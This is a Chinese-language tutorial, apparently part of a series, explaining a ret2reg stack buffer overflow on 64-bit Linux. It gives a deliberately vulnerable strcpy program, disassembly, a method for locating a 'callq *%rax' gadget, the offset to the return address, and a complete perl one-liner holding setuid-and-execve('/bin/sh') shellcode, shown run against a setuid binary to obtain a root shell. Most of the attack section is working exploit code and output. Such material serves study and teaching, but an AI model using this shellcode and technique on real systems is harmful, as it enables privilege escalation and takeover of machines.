在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0
cat /proc/sys/kernel/randomize_va_space
那么在系列中的六失去攻击的意义,但是任何事情都会有漏洞,我们来讲另一个基于寄存器的攻击
漏洞代码
vulnerableret2reg.c
#include <stdio.h> #include <string.h> void evilfunction(char* input) { char buffer[1000]; strcpy(buffer, input); } int main(int argc, char** argv) { evilfunction(argv[1]); return 0; }
我们先看一下函数strcpy
char *strcpy(char *dest, const char *src);
那么意味着返回的数组的地址dest数组的地址在寄存器rax里,而strcpy返回的地址就是在函数evilfunction的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器)。
evilfunction 函数的汇编
00000000004004c4 <evilfunction>: 4004c4: 55 push %rbp 4004c5: 48 89 e5 mov %rsp,%rbp 4004c8: 48 81 ec 00 04 00 00 sub $0x400,%rsp 4004cf: 48 89 bd 08 fc ff ff mov %rdi,-0x3f8(%rbp) 4004d6: 48 8b 95 08 fc ff ff mov -0x3f8(%rbp),%rdx 4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e4: 48 89 d6 mov %rdx,%rsi 4004e7: 48 89 c7 mov %rax,%rdi 4004ea: e8 d9 fe ff ff callq 4003c8 <[email protected]> 4004ef: c9 leaveq 4004f0: c3 retq
我们看到在callq 后面就没有在任何对rax寄存器修改的指令了。
rax寄存器就成了我们的攻击方向
1. 我们要找到一个call %rax的指令地址,编译vulnerableret2reg.c 成可执行文件
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c objdump -d vulnerableret2reg |grep rax > rax.txt cat rax.txt 4003b4: 0f 1f 40 00 nopl 0x0(%rax) 4003ed: 50 push %rax 400410: 48 8b 05 89 04 20 00 mov 0x200489(%rip),%rax # 6008a0 <_dynamic 0x190=""> 400417: 48 85 c0 test %rax,%rax 40041c: ff d0 callq *%rax 400447: 48 8b 05 92 04 20 00 mov 0x200492(%rip),%rax # 6008e0 <dtor_idx 6351=""> 40045d: 48 39 d8 cmp %rbx,%rax 400462: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 400468: 48 83 c0 01 add $0x1,%rax 40046c: 48 89 05 6d 04 20 00 mov %rax,0x20046d(%rip) # 6008e0 <dtor_idx 6351=""> 400473: ff 14 c5 f8 06 60 00 callq *0x6006f8(,%rax,8) 40047a: 48 8b 05 5f 04 20 00 mov 0x20045f(%rip),%rax # 6008e0 <dtor_idx 6351=""> 400481: 48 39 d8 cmp %rbx,%rax 400494: 66 66 66 2e 0f 1f 84 data32 data32 nopw %cs:0x0(%rax,%rax,1) 4004b3: 48 85 c0 test %rax,%rax 4004be: ff e0 jmpq *%rax 4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e7: 48 89 c7 mov %rax,%rdi 400500: 48 8b 45 f0 mov -0x10(%rbp),%rax 400504: 48 83 c0 08 add $0x8,%rax 400508: 48 8b 00 mov (%rax),%rax 40050b: 48 89 c7 mov %rax,%rdi 400522: 66 66 66 66 66 2e 0f data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1) 40057c: 0f 1f 40 00 nopl 0x0(%rax) 4005c9: 48 8b 05 18 01 20 00 mov 0x200118(%rip),%rax # 6006e8 <__ctor_list__> 4005d0: 48 83 f8 ff cmp $0xffffffffffffffff,%rax 4005db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 4005e4: ff d0 callq *%rax 4005e6: 48 8b 03 mov (%rbx),%rax 4005e9: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
很幸运的是我们看到了callq *%rax
40041c:ff d0 callq *%rax
指令地址是40041c
2. 计算覆盖到返回地址的空间
lea -0x3f0(%rbp),%rax
也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了
3. 填充我们的数组
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
16+43+957=1016 在填充指令地址40041c
4. 执行我们的shellcode
当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。
演绎攻击
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c chmod u+s vulnerableret2reg su test ./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'` sh4.1#whoami root
一切如设计的一样,你成为了root.
栈攻击并不简单
1. 你需要buffer数组足够长,能够填满你的shellcode。
2. 你需要程序后面没有对寄存器进行操作。
3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。
4. 当然你还需要在编译的时候指定可以在栈中执行的代码。
5. 为了变成root 你需要程序有s的权限。